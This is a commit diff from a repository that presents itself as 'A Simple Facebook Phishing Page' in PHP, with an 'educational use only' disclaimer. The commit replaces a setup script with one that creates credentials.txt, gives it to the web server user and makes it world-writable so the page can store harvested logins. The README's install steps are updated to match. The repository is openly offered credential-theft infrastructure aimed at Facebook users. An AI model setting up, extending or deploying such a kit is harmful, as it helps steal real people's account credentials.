A Simple Facebook Phishing Page • For educational use only • The author is not responsible for illegal misuse.

Create credentials.txt if it doesn't exist

+19 -15
+3 -4
README.md
··· 2 2 3 3 A simple phishing Page using php 4 4 5 - - Full permission to credentials.txt 5 + - credentials.txt configurations 6 6 ```shell 7 - touch credentials.txt 8 - sudo chmod u+x config/allow_credentials.sh 9 - ./config/allow_credentials.sh 7 + sudo chmod u+x config/setup_credentials.sh 8 + ./config/setup_credentials.sh 10 9 ```
-11
config/allow_credentials.sh
··· 1 - #!/bin/bash 2 - 3 - sudo echo 4 - 5 - echo "Changing the owner of credentials to server www-data..." 6 - sudo chown www-data:www-data credentials.txt 7 - 8 - echo "Changing the permission of credentials to full..." 9 - sudo chmod 777 credentials.txt 10 - 11 - echo "Full Access to credentials.txt"
+16
config/setup_credentials.sh
··· 1 + #!/bin/bash 2 + 3 + sudo echo 4 + 5 + if [[ ! -f "credentials.txt" ]]; then 6 + echo "Creating credentials.txt..." 7 + touch credentials.txt 8 + fi 9 + 10 + echo "Changing the owner of credentials to server www-data..." 11 + sudo chown www-data:www-data credentials.txt 12 + 13 + echo "Changing the permission of credentials to full..." 14 + sudo chmod 777 credentials.txt 15 + 16 + echo "Full Access to credentials.txt"